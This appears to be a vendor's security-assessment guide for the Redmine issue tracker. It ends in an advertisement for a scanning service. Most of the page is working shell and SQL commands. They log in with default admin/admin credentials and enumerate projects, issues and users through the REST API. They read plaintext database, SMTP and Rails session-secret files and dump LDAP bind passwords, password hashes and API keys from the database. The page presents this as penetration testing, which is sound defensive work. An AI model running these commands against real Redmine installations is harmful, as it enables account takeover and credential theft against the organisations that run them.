Redmine is one of the most widely deployed open-source project management and issue tracking platforms, used in enterprises, research institutions, and government agencies for managing projects, bugs, feature requests, and internal wikis. Its age and widespread deployment mean many installations are outdated and retain default configurations. Key assessment areas: Redmine defaults to admin/admin; the REST API key provides access to all projects, issues, time entries, and wiki content; config/database.yml stores the MySQL or PostgreSQL database password in plaintext; LDAP bind credentials are stored in the auth_sources database table; and config/initializers/secret_token.rb stores the Rails secret token enabling session cookie forgery. This guide covers systematic Redmine security assessment.
# Redmine — default credentials and API key authentication
REDMINE_URL="https://redmine.example.com"
API_KEY="your-redmine-api-key"
# Default credentials: admin / admin (older installs) or admin / redmine
# Login via web form
curl -s -c /tmp/redmine_sess -b /tmp/redmine_sess \
-X POST "${REDMINE_URL}/login" \
-d "username=admin&password=admin&login=Login&authenticity_token=$(
curl -s -c /tmp/redmine_sess "${REDMINE_URL}/login" 2>/dev/null | \
grep 'authenticity_token' | head -1 | sed 's/.*value="\([^"]*\)".*/\1/'
)" -L 2>/dev/null | grep -i "my page\|logged in\|invalid" | head -3
# REST API — use API key in X-Redmine-API-Key header
# Test API key access
curl -s "${REDMINE_URL}/users/current.json" \
-H "X-Redmine-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
u=d.get('user',{})
print(f'User: {u.get(\"login\")} ({u.get(\"firstname\")} {u.get(\"lastname\")}) email={u.get(\"mail\")}')
print(f'Admin: {u.get(\"admin\")} ID={u.get(\"id\")}')
print(f'API key: {u.get(\"api_key\")}')
" 2>/dev/null
# Redmine project, issue, and user enumeration via REST API
REDMINE_URL="https://redmine.example.com"
API_KEY="your-redmine-api-key"
# Enumerate all accessible projects
curl -s "${REDMINE_URL}/projects.json?limit=100" \
-H "X-Redmine-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('projects',[])
print(f'Projects: {d.get(\"total_count\",0)}')
for p in projects:
print(f' [{p.get(\"id\")}] {p.get(\"name\")} ({p.get(\"identifier\")}) status={p.get(\"status\")}')
print(f' Description: {str(p.get(\"description\",\"\"))[:80]}')
" 2>/dev/null
# Enumerate all issues — complete work item list including private projects
curl -s "${REDMINE_URL}/issues.json?limit=100&sort=updated_on:desc" \
-H "X-Redmine-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
issues = d.get('issues',[])
print(f'Issues: {d.get(\"total_count\",0)}')
for i in issues[:20]:
author = i.get('author',{})
assigned = i.get('assigned_to',{})
print(f' [#{i.get(\"id\")}] {i.get(\"subject\")} status={i.get(\"status\",{}).get(\"name\")} priority={i.get(\"priority\",{}).get(\"name\")}')
print(f' Author: {author.get(\"name\")} assigned={assigned.get(\"name\",\"unassigned\")} project={i.get(\"project\",{}).get(\"name\")}')
" 2>/dev/null
# Enumerate all users (admin API key required)
curl -s "${REDMINE_URL}/users.json?limit=100" \
-H "X-Redmine-API-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('users',[])
print(f'Users: {d.get(\"total_count\",0)}')
for u in users[:20]:
print(f' [{u.get(\"id\")}] {u.get(\"login\")} ({u.get(\"firstname\")} {u.get(\"lastname\")}) email={u.get(\"mail\")} admin={u.get(\"admin\")}')
print(f' Created: {u.get(\"created_on\")} last_login={u.get(\"last_login_on\")}')
" 2>/dev/null
# Redmine database.yml and LDAP credential extraction
# database.yml — MySQL/PostgreSQL database password in plaintext
cat /home/redmine/redmine/config/database.yml 2>/dev/null | \
grep -A5 "production:" | grep -E "password|username|host|database"
# production.password — database password
# secret_token.rb — Rails session signing secret
cat /home/redmine/redmine/config/initializers/secret_token.rb 2>/dev/null
# Redmine::Application.config.secret_key_base — session cookie signing key
# Exposure enables forging session cookies for any user account
# LDAP auth sources — bind credentials in database
mysql -u redmine -p"DB_PASSWORD" redmine 2>/dev/null << 'EOF'
SELECT id, name, host, port, tls, account, account_password,
base_dn, filter, login_attribute, mail_attribute
FROM auth_sources;
EOF
# account — LDAP bind DN
# account_password — LDAP bind password (stored in plaintext in older Redmine)
# Email configuration — SMTP password
grep -E "password|smtp" /home/redmine/redmine/config/configuration.yml 2>/dev/null
# email.smtp_settings.password — SMTP server password
# User API keys from database — all user API keys
mysql -u redmine -p"DB_PASSWORD" redmine 2>/dev/null << 'EOF'
SELECT id, login, mail, hashed_password, salt, admin, api_key
FROM users
WHERE status = 1
ORDER BY admin DESC, id
LIMIT 30;
EOF
# api_key — Redmine REST API key for each user (stored in plaintext)
# hashed_password — SHA1 hash (Redmine 5.x uses bcrypt)
| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credential exploitation | POST /login with admin:admin — full Redmine admin access; all projects including private, all issues, time entries, user accounts, LDAP configuration, and email settings | Critical |
| database.yml database password extraction | Read config/database.yml — production.password in plaintext; enables direct database access with all user hashes, API keys, and LDAP bind passwords | Critical |
| secret_token.rb session cookie forgery | Read config/initializers/secret_token.rb — secret_key_base enables forging Redmine session cookies for any user including admin; equivalent to full account takeover for all users | Critical |
| LDAP bind password extraction from auth_sources | MySQL query on auth_sources — account and account_password (plaintext in older versions); Active Directory bind credentials for the Redmine service account | Critical |
| Admin API key user and issue enumeration | GET /users.json with admin API key — all user accounts with email addresses, API keys, and last login data; GET /issues.json — all issues across all projects including private projects | Critical |
Ironimo tests Redmine deployments for default admin credential exploitation, REST API project, issue, and user enumeration, database.yml database password extraction, secret_token.rb session forgery testing, LDAP bind credential extraction from auth_sources, user API key extraction from the users table, configuration.yml SMTP credential access, private project data access, and version detection for known Redmine CVEs.
Start free scan